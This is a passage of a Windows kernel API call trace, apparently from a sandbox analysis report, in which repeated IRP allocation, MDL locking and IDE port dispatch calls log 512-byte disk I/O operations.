VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.941] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.941] IdePortDispatch () returned 0x103 [0095.941] KeWaitForMutexObject () returned 0x0 [0095.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.942] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.942] IdePortDispatch () returned 0x103 [0095.942] KeWaitForMutexObject () returned 0x0 [0095.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.942] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.942] IdePortDispatch () returned 0x103 [0095.942] KeWaitForMutexObject () returned 0x0 [0095.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.942] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.942] IdePortDispatch () returned 0x103 [0095.942] KeWaitForMutexObject () returned 0x0 [0095.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.942] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.943] IdePortDispatch () returned 0x103 [0095.943] KeWaitForMutexObject () returned 0x0 [0095.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.943] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.943] IdePortDispatch () returned 0x103 [0095.943] KeWaitForMutexObject () returned 0x0 [0095.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.943] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.943] IdePortDispatch () returned 0x103 [0095.943] KeWaitForMutexObject () returned 0x0 [0095.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.943] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.943] IdePortDispatch () returned 0x103 [0095.944] KeWaitForMutexObject () returned 0x0 [0095.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.944] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.944] IdePortDispatch () returned 0x103 [0095.944] KeWaitForMutexObject () returned 0x0 [0095.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.944] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.944] IdePortDispatch () returned 0x103 [0095.944] KeWaitForMutexObject () returned 0x0 [0095.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.944] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.944] IdePortDispatch () returned 0x103 [0095.944] KeWaitForMutexObject () returned 0x0 [0095.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.945] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.945] IdePortDispatch () returned 0x103 [0095.945] KeWaitForMutexObject () returned 0x0 [0095.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.945] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.945] IdePortDispatch () returned 0x103 [0095.945] KeWaitForMutexObject () returned 0x0 [0095.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.945] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.945] IdePortDispatch () returned 0x103 [0095.945] KeWaitForMutexObject () returned 0x0 [0095.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.945] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.945] IdePortDispatch () returned 0x103 [0095.946] KeWaitForMutexObject () returned 0x0 [0095.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.946] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.946] IdePortDispatch () returned 0x103 [0095.946] KeWaitForMutexObject () returned 0x0 [0095.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.946] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.946] IdePortDispatch () returned 0x103 [0095.946] KeWaitForMutexObject () returned 0x0 [0095.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.946] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.946] IdePortDispatch () returned 0x103 [0095.946] KeWaitForMutexObject () returned 0x0 [0095.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.947] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.947] IdePortDispatch () returned 0x103 [0095.947] KeWaitForMutexObject () returned 0x0 [0095.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.947] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.947] IdePortDispatch () returned 0x103 [0095.947] KeWaitForMutexObject () returned 0x0 [0095.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.947] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.947] IdePortDispatch () returned 0x103 [0095.947] KeWaitForMutexObject () returned 0x0 [0095.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.948] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.948] IdePortDispatch () returned 0x103 [0095.948] KeWaitForMutexObject () returned 0x0 [0095.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.948] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.948] IdePortDispatch () returned 0x103 [0095.948] KeWaitForMutexObject () returned 0x0 [0095.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.948] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.948] IdePortDispatch () returned 0x103 [0095.948] KeWaitForMutexObject () returned 0x0 [0095.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.948] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.948] IdePortDispatch () returned 0x103 [0095.949] KeWaitForMutexObject () returned 0x0 [0095.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.949] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.949] IdePortDispatch () returned 0x103 [0095.949] KeWaitForMutexObject () returned 0x0 [0095.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.949] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.949] IdePortDispatch () returned 0x103 [0095.949] KeWaitForMutexObject () returned 0x0 [0095.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.949] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.949] IdePortDispatch () returned 0x103 [0095.949] KeWaitForMutexObject () returned 0x0 [0095.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.950] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.950] IdePortDispatch () returned 0x103 [0095.950] KeWaitForMutexObject () returned 0x0 [0095.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.950] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.950] IdePortDispatch () returned 0x103 [0095.950] KeWaitForMutexObject () returned 0x0 [0095.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.950] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.950] IdePortDispatch () returned 0x103 [0095.950] KeWaitForMutexObject () returned 0x0 [0095.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.951] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.951] IdePortDispatch () returned 0x103 [0095.951] KeWaitForMutexObject () returned 0x0 [0095.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.951] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.951] IdePortDispatch () returned 0x103 [0095.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.951] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.951] IdePortDispatch () returned 0x103 [0095.951] KeWaitForMutexObject () returned 0x0 [0095.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.951] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.951] IdePortDispatch () returned 0x103 [0095.952] KeWaitForMutexObject () returned 0x0 [0095.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.952] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.952] IdePortDispatch () returned 0x103 [0095.952] KeWaitForMutexObject () returned 0x0 [0095.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.952] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.952] IdePortDispatch () returned 0x103 [0095.952] KeWaitForMutexObject () returned 0x0 [0095.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.952] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.952] IdePortDispatch () returned 0x103 [0095.952] KeWaitForMutexObject () returned 0x0 [0095.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.953] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.953] IdePortDispatch () returned 0x103 [0095.953] KeWaitForMutexObject () returned 0x0 [0095.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.953] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.953] IdePortDispatch () returned 0x103 [0095.953] KeWaitForMutexObject () returned 0x0 [0095.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.953] KeInitializeEvent (in: 